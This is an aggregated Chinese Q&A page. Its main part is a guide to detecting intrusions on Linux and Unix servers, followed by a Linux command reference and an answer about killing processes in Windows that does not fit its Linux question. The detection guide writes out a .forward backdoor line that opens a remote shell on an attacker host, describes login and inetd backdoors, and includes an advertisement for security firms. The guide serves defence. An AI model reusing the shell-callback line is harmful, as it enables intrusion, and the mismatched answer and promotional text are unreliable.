⑴ linux服务器是否被攻击怎么判断
1、检查系统密码文件
首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。
1
awk –F:’$3==0{print$1}’/etc/passwd
顺便再检查一下系统里有没有空口令帐户:
1
awk –F: ‘length($2)==0{print$1}’/etc/shadow
2、查看一下进程,看看有没有奇怪的进程
重点查看进程:ps –aef | grep inetd
inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。
输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J
UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。
接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。
3、检查系统守护进程
检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。
一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。
4、检查网络连接和监听端口
输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。
输入netstat –rn,查看本机的路由、网关设置是否正确。
输入 ifconfig –a,查看网卡设置。
5、检查系统日志
命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。
在linux下输入ls –al /var/log
在solaris下输入 ls –al /var/adm
检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。
6、检查系统中的core文件
通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} ; 依据core所在的目录、查询core文件来判断是否有入侵行为。
7、.rhosts和.forward
这是两种比较着名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。
看到这里如果想要深入的做安全加固服务以及安全部署
就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。
Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:
username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:
ln -s /var/mail/luser ~/.forward
然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。
直接删除掉这两个文件也可以。
8、检查系统文件完整性
检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。
UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :
UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。
在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。
LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。
不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?
说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。
9、检查内核级后门
如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_mole()和delete_mole()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/mole里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。
⑵ 求助:LINUX常用SHELL命令
分类: 电脑/网络 >> 操作系统/系统故障
问题描述:
欢迎大家的投稿!!!!!!!
解析:
LINUX常用命令
1 文件与目录操作命令
1.1文件内容查询命令
grep、fgrep、egrep
CODE:[Copy to clipboard]语法:grep[选项][查找模式][文件名1,文件名2,……]
选项:
QUOTE:
-E 每个模式作为一个扩展的正则表达式对待
-F 每个模式作为一组固定字符串对待,而不作为正则表达式
-i 比较时不区分大小写
-l 显示首次匹配匹配串所在的文件名并用换行符将其分开。当在文件中多次出现匹配串时,不重复显示次文件名;
-x 只显示整行严格匹配的行
1.2文件查找命令 find、locate
语法:
CODE:[Copy to clipboard]find 起始目录 寻找条件 操作
以名称和文件属性查找
QUOTE:
-name‘字串‘ 查找文件名匹配所给字串的所有文件,字串内可用通配符*、?、[]。
-lname‘字串‘ 查找文件名匹配所给字串的所有符号链接文件,字串内可用通配符*、?、[]。
-gid n 查找属于ID号为n的用户组的所有文件。
-uid n 查找属于ID号为n的用户的所有文件。
-group‘字串‘ 查找属于用户组名为所给字串的所有的文件。
-user‘字串‘ 查找属于用户名为所给字串的所有的文件。
-path‘字串‘ 查找路径名匹配所给字串的所有文件,字串内可用通配符*、?、[]。
-perm 权限 查找具有指定权限的文件和目录,权限的表示可以如711、644。
-type x 查找类型为 x的文件,
语法:locate 相关字
1.3文件的复制、删除和移动命令
文件复制命令
CODE:[Copy to clipboard]cp [选项] 源文件或目录 目标文件或目录
选项:
QUOTE:
- a 通常在拷贝目录时使用
-d 拷贝时保留连接
-f 删除已经存在的目标文件而不提示
-i 和f选项相反
-p 此时cp除复制源文件内容外,还将其修改的时间和访问权限也复制到新文件中
-r 若给出的源文件是一目录文件,此时cp将递归复制该目录下的所有的子目录和文件,此时目标文件必须为一个目录名;
-l 不作拷贝,只是链接文件
文件移动命令
CODE:[Copy to clipboard]mv[选项] 源文件或目录 目标文件或目录
QUOTE:
-i 交互式操作
-f 禁止交互式操作
文件删除命令
CODE:[Copy to clipboard]rm[选项] 文件…
QUOTE:
-f 忽略不存在的文件,从不给出提示
-r 指示rm将参数中列出的全部目录和子目录均递归地删除
-i 进行交互式删除
1.4文件链接命令
CODE:[Copy to clipboard]ln [选项] 目标 [链接名] 或 ln [选项] 目标 目录
QUOTE:
选项:
- s 建立符号链接
1.5目录的创建和删除命令
mkdir 创建一个目录
语法:
CODE:[Copy to clipboard]mkdir [选项] dirname
选项:
- m 对新建目录设置存取权限
-p 可以是一个路径名称。此时若路径中的某些目录尚不存在,加上此选项后,系统将自动建立好那些尚不存在的目录,即一次可以建立多个目录。
rmdir 删除空目录
语法:
CODE:[Copy to clipboard]rmdir [选项] dirname
QUOTE:
选项:
- p 递归删除目录dirname,当子目录删除后其父目录为空时,也一同被删除。
1.6改变工作目录,显示目录内容命令
1、改变工作目录:
CODE:[Copy to clipboard]cd [directory]
2、显示当前工作的目录的绝对路径:
CODE:[Copy to clipboard]pwd
3、显示目录内容:
CODE:[Copy to clipboard]ls [选项] [目录或是文件]
QUOTE:
选项:
- a 显示指定目录下所有子目录与文件,包括隐藏文件;
-c 按照文件的修改时间排序
-C 分成多列显示各项
-d 如果参数是目录,只显示其名称而不显示其下的个文件
-F 在目录名后面标记“/”,可执行文件后面标记“*”,符号链接后面标记“@”,管道(或FIFO)后面标记“|”,socket文件后面标记“=”。
-l 以长格式来显示文件的详细信息
-L 若指定的名称为一个符号链接,则显示链接所指向的文件
-t 显示时按修改时间而不是名字排序
-u 显示时按文件上次存取的时间而不是名字排序
4、改变文件或目录的访问权限命令
CODE:[Copy to clipboard]chmod [who] [+| - | = ] [mode] 文件名?
QUOTE:
Who选项:
- u表示用户,即文件和目录的所有者
-g表示同组用户
-o(other)表示其他用户
-a (all)表示所有用户
QUOTE:
操作符号:
+ 添加某个权限 - 取消某个权限
= 赋予给定权限并取消其他所有的权限(如果有的话)
QUOTE:
mode 选项:
- r 可读
-w 可写
-x 可执行
CODE:[Copy to clipboard]chgrp [-R] group filename? 改变目录或文件所属的组
CODE:[Copy to clipboard]chown [-Rv] 用户或组 文件
1.7备份与压缩命令
1、tar命令 为文件和目录创建档案
语法:
CODE:[Copy to clipboard]tar [主选项+辅助选项] 文件或者目录
QUOTE:
u 主选项
c 创建新的档案文件。如果用户想备份一个目录或是一些文件,则选此项
r 把要存档的文件追加到档案文件的末尾
t 列出档案文件的内容,查看已经备份了哪些文件;
u 更新文件
x 从档案文件中释放文件;
u 辅助选项
b 该选项为磁带机设定的,其后跟一位数字,用来说明区块的大小,系统预设值为20
f 使用档案文件或设备,这个选项通常是必选的
k 保存已经存在的文件。例如把某个文件还原,在还原的过程中,遇到相同的文件,不会进行覆盖;
m 在还原文件时,把所有文件的修改时间设定为现在;
M 创建多卷的档案文件,以便在几个磁盘中存放;
v 详细报告tar处理的文件信息
w 每一步都要求确认
z 用gzip来压缩/解压缩文件
2、gzip命令 压缩/解压缩命令
语法:
CODE:[Copy to clipboard]gzip [选项] 压缩(解压缩)的文件名
QUOTE:
选项:
-c 将输出写到标准输出上,并保留原有文件
-d 将压缩文件解压
-l 显示每个压缩文件的详细信息
-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩
-t 测试、检查压缩文件是否完整
-v 对每一个压缩和解压的文件,显示文件名和压缩比
3、unzip 命令
用MS windows下的压缩软件winzip压缩的文件在linux系统下展开
语法:
CODE:[Copy to clipboard]unzip [选项] 压缩文件名.zip
QUOTE:
选项:
-x 文件列表 解压缩文件,但不包括指定的file文件
-v 查看压缩文件目录,但不解压
-t 测试文件有无损坏 ,但不解压
-d 目录 将压缩文件解到指定目录下
-z 只显示压缩文件的注解
-n 不覆盖已经存在的文件
-o 覆盖已经存在的文件且不要求用户确认
-j 不重建文档的目录结构,把所有文件解压到同一目录下
1.8在LINUX环境下运行DOS命令
linux系统提供了一组称为mtools的可移植工具,可以让用户轻松地从标准的DOS软盘上读写文件和目录。
QUOTE:
mcd 目录名 改变MSDOS目录
m 源文件 目标文件 在MSDOS和UNIX之间复制文件;
mdel 目录名 删除MSDOS目录
mdir 目录名 显示MSDOS目录
mformat 驱动器号 在低级格式化的软盘上创建MSDOS文件系统
rnlabel 驱动器号 产生MSDOS卷标
mmd 目录名 删除MSDOS目录
mren 源文件 目标文件 重新命名已存在的MSDOS文件
mtype 文件名 显示MSDOS文件的内容
2 设备管理命令
1)linux采用下面的形式定义一个IDE硬盘:
CODE:[Copy to clipboard]/dev/hd[drive][partition]
2)SCSI硬盘使用同样的机制表示:
CODE:[Copy to clipboard]/dev/sd[drive][partition]
3)对于一般的LINUX分区,可以用mkfs将其格式化并生成文件系统,命令如下:
CODE:[Copy to clipboard]mk2fs –c <partition>; <size>;
4)装载文件系统:
CODE:[Copy to clipboard]mount –t ext2 [-o optioms] partition mountpiont
其中,
QUOTE:
-t为指定装载文件系统的类型;
-o指定一些选项,如只读ro,可读可写rw等等;
partition定义分区名称;
mountpiont定义文件系统被装载的目录名称。
5)装载CD-ROM文件系统:
CODE:[Copy to clipboard]mount –t iso9660 –r /dev/cdrom /mnt/cdrom
6)装载软驱文件系统:
CODE:[Copy to clipboard]mount –t msdos –rw /dev/fd0 /dev/mnt/floppy
7)卸载文件系统
CODE:[Copy to clipboard]umount /mnt/cdrom
磁带设备的安装要注意以下几点:
QUOTE:
1、 首先要选择一个唯一的SCSI ID号,然后再将设备链接到适当的位置
2、 选择驱动程序。
3、 生成设备文件。SCSI磁带设备的主要设备号是9,次要设备号是0。设备文件名通常是/dev/nrst0(不支持回绕的磁带设备)或/dev/nst0(支持回绕的磁带设备)
用 ls /dev/*rst*
检查磁带设备文件是否存在,如果不存在,用
mknod –m 666 /dev/nrst0 c 9 9
mknod –m 666 /dev/rst0 c 9 0 生成
4、 可以对块长度、缓存、磁带密度等参数进行一些设置,例如
mt setblk 20 将块长度指定为20
mt setblk 0 指定块程度没有限制
5、 通过检查系统的启动信息可以确定系统是否识别了新的磁带设备。用dmesg命令,查看是否有以下类似的信息:
aha274x:target 4now synchronous at 4.4Mb/s
Vendor:TANDBERG Model:TDC 3800 Rev: =05:
Type: Sequential-Access ANSI SCSI revision: 02
Detected scsi tape st0 at scsi0, id4, lun0
Scsi : detected 1 SCSI tape 1 SCSI crom 1 SCSI disk total
3 软件包管理命令
3.1软件安装的步骤
在LINUX系统上安装软件的步骤有:
QUOTE:
1、 查找所要安装软件的源文件
2、 把源文件解开放到一个目录中,命令如下:
tar zxvf <源文件名>;
3、 针对本操作系统配置源文件。可以是编辑make文件或其他文件,也可能是运行该软件自带的自动配置工具,如./configure
4、 make源文件,通常是运行make命令,即执行 make
5、 安装二进制文件和其他支撑文件,运行命令: make install
6、 最后,完成所有其他必须的配置
3.2软件包管理命令
QUOTE:
rpm –ivh <软件包>;
安装指定的软件包,并在安装过程中用#表示安装的进度
rpm –Uvh <软件包>;
更新一个已经存在的或还没安装好的软件包,并删除所有该软件包的旧版本。
rpm –e
卸载一个rpm软件包
rpm –qa
查看系统中已经安装的软件包
rpm –q <软件包>;
查看系统中某个软件包的版本号;
rpm –qlp <软件包>;
列出某个软件包中的所有文件
rpm –qf <软件包>;
找出一个文件属于哪个软件包
4 LINUX系统常用命令
4.1 与系统管理有关的命令
Wall (Write All)
QUOTE:
对全部已 登录的用户发送信息,用户可以先反要发送的信息写好存入一个文件中,然后输入:
# wall < FileName
例:Wall ‘Thank you !’
Write
向某一用户发送信息。
Write xxq
hello
输入Ctrl+C组合即可终止
Shutdown命令
CODE:[Copy to clipboard]Shutdown [选项] [时间] [警告信息]
QUOTE:
-k 并不真正关机,而只是发出警告信息给所有的用户。
-r 关机后立即重新启动。
-h 关机后不重新启动。
-f 快速关机,启动时跳过fsck。
-n快速关机,不经过init程序。
-c 取消一个已经运行的shutdown
例:系统马上关机:Shutdown –h now
Free命令
查看当前系统内存的使用情况,
CODE:[Copy to clipboard]Free [-b] [-k] [-m]
CODE:[Copy to clipboard]-b 以字节为单位显示。
-k 以K字节为单位显示。
-m 以M字节为单位显示。
Uptime
QUOTE:
显示系统已经运行了多长的时间:现在时间、系统已经运行的时间、目前有多少登录用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。
4.2与用户有关的命令
Passwd命令
设置、更换用户口令。
CODE:[Copy to clipboard]Passwd [用户名]
Su
使一个普通的用户具有超级用户的权利,离开可用EXIT命令。
4.3其它命令
Echo命令
在显示器上显示一段文字,一般起到一个提示的作用。
CODE:[Copy to clipboard]echo [-n] 字符串
Cal命令
显示某年某月的日历。
CODE:[Copy to clipboard]cal [选项] [月[年]]
QUOTE:
选项的含义:
-j 显示也给定月中的每一天是一年中的和几天(从1月1日算起)。
-y 显示也整年的日历。
Date命令
date命令的功能是显示和设置系统日期和时间。
4.4磁盘管理
磁盘空间管理
df命令
检查文件系统的磁盘空间占用局部。
CODE:[Copy to clipboard]Df [选项]
QUOTE:
-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。
-k 以K字节为单位显示。
-i 显示i节点信息,而不是磁盘块。
- t 显示各指定类型的文件系统的磁盘空间使用情况。
-x 列出不是某一指定类型文件系统的磁盘窨使用情况(与t相反)。
-T 显示文件系统类型。
命令
的英文原意为disk usage,含义为显示磁盘空间的使用情况。功能是统计目录(或文件)所占磁盘空间的大小。
CODE:[Copy to clipboard] [选项] [Names…]
QUOTE:
-s 对每人Names 参数只给也占用的数据块总数。
-a 递归地显示指定目录中各文件用子孙目录中的各文件占用的数据块总数。
-b 以字节为单位列也磁盘窨使用情部(缺省以K字节为单位)
-k 以1024字节为单位列也磁盘空间使用情况。
-c 最后再加上一个总计(系统缺省)
-l 计算所有的文件大小,对硬链接文件,则计算多次。
-x 跳过在不同文件系统上的目录不予统计。
dd命令
把指定的输入文件拷贝到指定的输出文件中,并且在拷贝的过程中可以进行格式转换。语法:
CODE:[Copy to clipboard]dd 〔选项〕
QUOTE:
if =输入文件(或设备名称)。
of =输出文件(或设备名称)。
ibs = bytes 一次读取bytes字节,即读入缓冲区的字节数。
skip = blocks 跳过读入缓冲区开头的ibs*blocks块。
obs = bytes 一次写入bytes字节,即写 入缓冲区的字节数。
bs = bytes 同时设置读/写缓冲区的字节数(等于设置obs和obs)。
cbs = bytes 一次转换bytes字节。
count = blocks 只拷贝输入的blocks块。
conv = ASCII 把EBCDIC码转换为ASCII码。
conv = ebcdic 把ASCII码转换为EBCDIC码。
conv = ibm 把ASCII码转换为alternate EBCDIC码。
conv = blick 把变动位转换成固定字符。
conv = ublock 把固定们转换成变动位
conv = ucase 把字母由小写变为大写。
conv = lcase 把字母由大写变为小写。
conv = notrunc 不截短输出文件。
conv = swab 交换每一对输入字节。
conv = noerror 出错时不停止处理。
conv = sync 把每个输入记录的大小都调到ibs的大小(用ibs填充)。
fdformat命令
低级格式化软盘。
CODE:[Copy to clipboard]format [-n] device
QUOTE:
-n 格式化后不做检验
4.5常用的网络命令
FTP命令
Tel命令。
Netstat命令
QUOTE:
-a 显示所有的scoket,包括正在监听和。
-c 每隔1秒就重新显示一遍,直到用户中断它。
-i 显示所有网络接口的信息,格式同”ifconfig –e”
-n 以网络IP地址代替名称,显示也网络连接情形。
-r 显示核心路由表,格式同”route –e:。
-t 显示TCP协议的连接情况。
-u 显示UDP协议的连接情况。
-v 显示正在进行的工作。
nslookup命令。
finger命令,功能是查询用户的信息。
ping命令。
(用户和组的管理可以使用工具:TurboUserCfg或是XturboUserCfg。)
4.6有关进程的命令。
进程和启动
CODE:[Copy to clipboard]at [-V] [-q] [-f文件名] [-mldbv]时间
at –c 作业 [作业….]
AT命令启动的进程系统只执行一次。
batch [-V] [-q 队列] [-f 文件名] [-mv] [时间]
在系统负载较小时,资源比较空闲时执行。
cron命令
按一定的时间间隔执行命令。
crontab命令
用于安装、删除或列出用于驱支cron后台进程的表格。
进程查看
CODE:[Copy to clipboard]who命令。
w命令
是一个比who命令更强大的命令
w –[husfV] [user]
-h 不显示标题。
-u 当列出当前进程和CPU时间时忽略用户名。
-s 使用短模式。不显示登录时间JCPU和PCPU时间。
-f 切换显示FROM项,也就是远程主机名项。
-V 显示版本信息。
user 只显示指定用户的情况。
ps命令。
-e 显示所有进程。
-f 全格式
-h 不显示标题。
-l 长格式。
-w 宽输出。
a 显示终端上所有进程,包括其他用户的进程。
r 只显示正在运行的进程。
x 显示没有控制终端的进程。
top 命令
动态显示系统当前的进程和其他状况。
5系统的启动过程。
5.1初始启动
在PC机启动时,BIOS从指定的启动设备中读入“主引导记录”(MBR)。MBR的格式是:
地址偏移量 内容 大小
+00 h 可执行的代码(启动模块) 可能变化
+1BE h 第一分区表项 16字节
+1CE h 第二分区表项 16字节
+1DE h 第三分区表项 16字节
+1EE h 第四分区表项 16字节
+1FE h 可执行的标记(AA55 h) 2字节
启动模块包含足以装入操作系统的代码,或者是第二步的加载代码的位置。启动模块需要使用BIOS调用来从磁盘装入数据,而这些中断调用,如INT 13h等,限制了最大磁盘柱面号为1023。这也就是说启动模块需要加载的一切内容,如初始内存磁盘、内核、启动的时间信息等,必须存放在1024个柱面以内。
在MBR中只有四个分区表项,每个表项的格式如下:
地址偏移 内容 大小
+00h 分区状态:00代表非启动分区,80h代表启动分区 1字节
+01h 分区的起始位置 磁头 1字节
+02h 分区的起始位置 柱面和扇区 1字节
+04h 分区的类型 1字节
+05h 分区的结束位置 磁头 1字节
+06h 分区的结束位置 柱面和扇区 1字节
+08h 在主引导区和本分区的第一个扇区间的扇区数目 4字节
+0Ch 分区内的扇区数目 4字节
5.2 Linux的启动过程
1启动的命令行参数
在Linux启动时,它处理所有传递给它的命令行参数。这可以影响Linux的运行方式。命令行参数包括:
QUOTE:
mem=xxxM:定Linux可以使用的内存大小。这在用户的计算机系统有超过64MB的内存时才需要。因为从前的主板只对第一个64MB内存进行缓存,使用超过64MB的内存会使整个计算机的性能下降,所有内存均按无缓存的速度运行。
single:使Linux按单用户方式启动,缺省方式是多用户方式。
root=/dev/xxx:指定Linux要安装为根文件系统的设备。
init=<file>;:指定作为初始化进程的文件。
initrd=<dev>;:指定作为初始内存磁盘的设备。
ro:指定根文件系统为只读。
rw:指定根文件系统为可读可写。
2 Init进程
在内核初始化自身和找到的硬件设备后,在后台启动进程init(/ *** in/init),init进程号1运行。
在UNIX世界中有许多启动过程的版本,一些是基于系统V,一些是基于BSD。大多数Linux版本使用系统V的实现方法,在这里描述的就是这样。
init是由文件/etc/inittab内容和功能控制的,随启动模式是单用户或多用户而不同。
QUOTE:
单用户模式:init进程忽略/etc/inittab文件,在执行少数几个脚本程序后调用/dev/console shell。这样,用户就可以有了一个shell,而且可以执行一定限度的任务。
多用户模式:init进程把系统带入/etc/inittab文件指定的运行级别。Init通过标准的Linux方法进入一个指定的进行级别。
3.进行级别
Linux与其他UNIX操作系统一样,可以任何时刻处于任何一个运行级别。这些运行级别提供的功能不同,为主要是由于其运行的服务方程序(后台daemon)的不同造成的。Linux共有6种运行级别。
QUOTE:
0:关闭计算机或终止计算机运行,这个级别就是系统停止运行。
1:单用户启动级别,系统只有一个用户,就是root,该用户在控制台登录。
2:多用户运行级别,但无网络功能。在这个运行级别,网络功能没有启动,但是系统允许多个用户登录,可以通过虚拟控制台或串行线路。
3:多用户模式,有网络功能。在这个运行级别,所有标准网络服务均被启动。
4:目前没有实现。
5:X11运行级别,在这个运行级别,X服务器软件运行,提供图形界面的登录方式。
6:系统重新启动。
查询当前运行级别:runlevel;
4在启动过程中运行的脚本
在init进程运行时,它负责查看缺省的运行级别,并进入该运行级别。这是通过运行在/etc/rc.d/rcX.d目录下的脚本程序来实现的,其中X代表运行的级别,即一个运行级别对应一个目录。不同的字母开头的文件有不同的作用。其中:
以K开头的脚本程序是系统离开某个运行级别时执行的,作用是停止某种服务。当系统从某个支持级别变为其他级别时,首先要进行原运行级别所对应的所有K程序。
以S开头的脚本程序是系统进入某个运行级别时所执行的,作用是启动某种服务。当系统改变为某个运行级别时,就要运行新运行级别所对应的所有S程序。
5增加启动脚本程序
用户可能有一些特定的硬件设备要初始化,或需要在系统启动时初始化一些其他应用程序,用户可以增加自己的初始化脚本程序来完成这些工作。通常步骤是:
复制一个已经存在的脚本,这样可以得到一个通用的框架格式。
修改这个脚本,以完成自己的需求,要注意使程序可以处理启动和关闭的参数,尽管可能关闭处理什么也不需要干。
把这个肢本拷贝到/etc/rc.d/init.d目录下,命名为”serv”。
按下面的方法在相应的目录下建立运行控制链接:
CODE:[Copy to clipboard]ln –s ../init.d/serv/etc/rc.d/rc3.d/s99 serv
进行测试。
6 LILO和其他的启动模块
要启动Linux,启动模块是必须的。一般用于Linux的启动模块是LILO,LILO用自己的主引导区代替一般的主引导区。LILO可以通过修改/etc/lilo.conf文件内容来进行配置,对引导区内容的更新通过lilo命令来完成。
下面给也了一个装有DOS,TurboLinux3.4.0和RedHat 5.2系统的计算机的lilo.conf文件。在例子中的数字标号是用户加上去并要在文中详细解释的。
CODE:[Copy to clipboard]# more /etc/lilo.conf
boot=dev/had
map=/boot/map
instll/boot/boot.b
prompt
#表示启动盘是/dev/had,这是主IDE硬盘。
timeout=50
#表示等待用户输入的时间是50秒。
default=TL3.4
other=dev/hda1
#表示如果在上述的时间内没有输入,缺省的启动系统是TL3.4,即TurboLinux 3.4.0
label=dos
table=dev/had
#表示如果在LILO提示用户输入启动系统时,用户按了<Tab>;键,各个系统将以label的内容显示出来,供用户选择。
image=/mnt/tl3.4/boot/vmlinuz
label=TL3.4
root=/dev/hda3
read-only
TurboLinux的启动文件,/mnt/tl3.4/boot/vmlinuz被确定,根文件系统在/dev/hda3,根文件系统是只读方式的。
CODE:[Copy to clipboard]image=/mnt/rh5.2/boot/vmlinuz-2.0.36-0.7
label=RH5.2
root=/dev/hda4
read-only
RedHat的启动文件,/mnt/rh5.2/boot/vmlinuz-2.0,36-0.7被确定,根文件系统在/dev/hda4,根文件系统可读写。
⑶ linux系统后台无法使用命令进行操作怎么办注:无法重起机子,无法杀进程等。。
Windows XP/2000的任务管理器是一个非常有用的工具,能让你看到系统中正在运行哪些程序(进程),只要你平时多看任务管理器中的进程列表,熟悉系统的基本进程,就可以随时发现可疑进程,这对防范木马和病毒大有裨益!不过有一些可疑进程,你用任务管理器却无法杀掉,这该怎么办呢?
一、哪些系统进程不能关掉
Windows运行的时候,会启动多个进程。只要你按下“Ctrl+Alt+Del”键打开任务管理器,点击“查看”/选择列,勾选“PIO(进程标识符)”,然后单击“进程”标签,即可看到这些进程。不过有一些进程个人用户根本用不到,例如Systray.exe(显示系统托盘小喇叭图标)、Ctfmon.exe(微软Office输入法)、Winampa.exe等,我们完全可以禁止它们,这样做并不会影响系统的正常运行。
二、如何关闭任务管理器杀不了的进程
如果你在任务管理器中无法关闭某个可疑进程,可以使用下面的方法强行关闭,注意不要杀掉进程表中的系统核心进程:
1. 使用Windows XP/2000自带的工具
从Windows 2000开始,Windows系统就自带了一个用户态调试工具Ntsd,它能够杀掉大部分进程,因为被调试器附着的进程会随调试器一起退出,所以只要你在命令行下使用Ntsd调出某进程,然后退出Ntsd即可终止该进程,而且使用Ntsd会自动获得Debug权限,因此Ntsd能杀掉大部分的进程。
操作方法:单击“开始”/程序/附件/命令提示符,输入命令:ntsd -c q -p PID(把最后那个PID,改成你要终止的进程的PID)。在进程列表中你可以查到某个进程的PID,例如我们要关闭图1中的Explorer.exe进程,输入:ntsd -c q -p 408即可。
以上参数-p表示后面跟随的是进程PID, -c q表示执行退出Ntsd的调试命令,从命令行把以上参数传递过去就行了。
2. 使用专门的软件来杀进程
任务管理器杀不掉的进程,你可以使用专门的软件关闭。有很多软件可以杀进程,例如进程杀手、IceSword、柳叶擦眼、系统查看大师、Kill process等。
(1)进程杀手2.5()
它能够浏览系统中正在运行的所有进程,包括用Ctrl+Alt+Del 看不到的进程,可以精简进程、自动中止系统基本进程以外的所有进程,对木马和病毒进程有一定清除作用,你可以用它随时中止任一个正在运行的进程,选中该进程,按“中止进程”按钮即可。
(2)IceSword()
如今系统级木马后门功能越来越强,一般都可轻易隐藏进程、端口、注册表、文件信息,普通进程工具根本无法发现这些“幕后黑手”。IceSword使用大量新颖的内核技术,可以查出所有隐藏进程。
要查看当前进程,请点击“进程”按钮,在右部列出的进程中,隐藏的进程会以红色醒目地标记出,以方便查找系统级后门。如果要结束某进程,可以先选中它(按住Ctrl键可选择多个进程),然后使用右键菜单的“结束进程”,即可关闭之。
